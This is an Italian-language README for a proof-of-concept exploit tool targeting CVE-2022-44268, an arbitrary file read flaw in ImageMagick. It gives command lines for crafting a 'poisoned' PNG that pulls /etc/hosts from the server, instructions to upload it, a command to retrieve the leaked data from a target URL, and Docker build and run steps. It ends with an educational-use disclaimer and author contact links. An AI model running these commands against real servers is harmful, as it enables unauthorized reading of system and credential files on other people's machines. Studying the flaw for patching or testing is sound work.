CVE-2022-44268 🧙‍♂️

CVE-2022-44268 ImageMagick Lettura Arbitraria di File - Exploit Proof of Concept

Video 📼

https://youtu.be/quKxwNAMBIA

Utilizzo 🛠

Avvelena l'immagine ☣️

python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png

Carica l'immagine PNG avvelenata.

Verifica se l'exploit ha avuto successo 🗡

python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png

Esecuzione con Docker 🐳

Build

docker build -t cve-2022-44268 .

Esegui

docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png

Parametri 🧰

Contattami 📇

Twitter - Milan Jovic

LinkedIn - Milan Jovic

Solo a scopo educativo e non può essere utilizzato per violare la legge o per guadagno personale.

L'autore di questo progetto non è responsabile per eventuali danni causati dai materiali di questo progetto.

Maggiori dettagli: https://www.metabaseq.com/imagemagick-zero-days/